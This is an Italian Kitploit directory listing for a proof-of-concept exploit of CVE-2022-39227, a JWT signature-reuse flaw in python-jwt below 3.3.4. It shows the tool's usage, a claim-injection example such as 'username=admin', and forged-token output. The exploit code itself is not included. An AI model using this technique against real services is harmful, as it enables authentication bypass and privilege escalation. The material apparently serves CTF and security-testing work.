Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2022-39227 — CVE-2022-39227 : Prova di concetto | Kitploit
Strumenti/GitHubGitHub/user0x1337/cve-2022-39227
Generazione di PayloadAnalisi delle VulnerabilitàExploitSicurezza WebCTFAutenticazione
GitHubuser0x1337/cve-2022-39227

CVE-2022-39227

CVE-2022-39227 : Prova di concetto

Vedi Repository
22122 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2022-39227

CVE-2022-39227 : Prova di concetto

Prova di concetto per la CVE-2022-39227. Secondo questa CVE, esiste una falla nella verifica dei JSON Web Token. Con un token valido è possibile riutilizzare la sua firma con claim modificati.

Requisiti:

  1. Un JSON Web Token valido.
  2. Il backend deve utilizzare la libreria python "python-jwt" in una versione < 3.3.4

Per facilità d'uso ho scritto un semplice PoC durante una CTF:

root@kitploit:~
usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM

Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4

options:
  -h, --help            show this help message and exit
  -j TOKEN, --jwt_token TOKEN
                        Original and valid JWT Token returned by the application
  -i CLAIM, --injected_claim CLAIM
                        Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
                        (e.g. username=admin,id=3)

Utilizzo:

python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"

Restituisce:

root@kitploit:~
{"  <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}

Il valore restituito è una forma mista di JSON e rappresentazione compatta. Devi incollare l'intero valore, incluse "{" e "}", come nuovo token Web JWT.

Scarica lo strumento